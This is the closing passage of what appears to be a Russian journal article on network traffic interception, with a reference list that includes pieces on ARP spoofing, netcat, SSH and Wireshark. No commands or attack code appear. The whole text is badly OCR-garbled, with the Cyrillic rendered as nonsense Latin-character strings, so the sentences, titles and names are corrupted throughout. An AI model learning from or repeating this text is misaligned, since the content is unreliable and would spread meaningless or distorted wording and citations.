UCTIONIB3YIOTCS HaJIe)KHbIe MeTo1bl ndpoBanus AanHeIx. UDP npotokon, B cBOIO ouepenb
MO3BOJIIET HaM MOJXYYHUTh JOCTYH K coaepKuMomMy ¢aiina. Bech sxcriepuMeHT IpoBOAMICS B

HCCICOO0BATCIbCKUX LECIIAX.

CIIMCOK JIMTEPATYPHBI

1) IlpakTuka ucnonszoBanus arp-spoofing // Xabp URL: https://habr.com/ru/articles/94122/
([ata obpamenus 26.12.2024)
2) Komannaet APT // ALT Linux WIKI URL: https://www.altlinux.org/[ maBHasi_ctpanuia
([lata obpamenus 25.12.2024)
3) Kak nmonb3oBathest netcat / HackWare URL: https://hackware.ru/?p=8777
([ata obpamenus 26.12.2024)
4) SSH nist naunnaromumx // Xadp URL: https://habr.com/ru/articles/724762/
(lata obpamenus 27.12.2024)
5) Ocuosuble pabotsl B Wireshark // [13en URL: https://dzen.ru/a/XrkjvI2-IWSMVH3P
([ata obpamenus 27.12.2024)
6) YiimuH, A. I'. CereBoe U cUCTEMHOE aJMUHUCTPUpPOBaHUE. [leMOHCTPAallMOHHBIN 3K3aMeH
KO/l 1.1 : yuebHO-MeTOaMUecKoe mocooue mis cro / A. I'. Yitmun — Mocksa : Jlans, 2022. —
480c. - ISBN 978-5-8114-9255-8.

I'opnos A.B., Hoxenko K.3., 2025

"Muposas Hayka' Nel (94) 2025 science-j.com



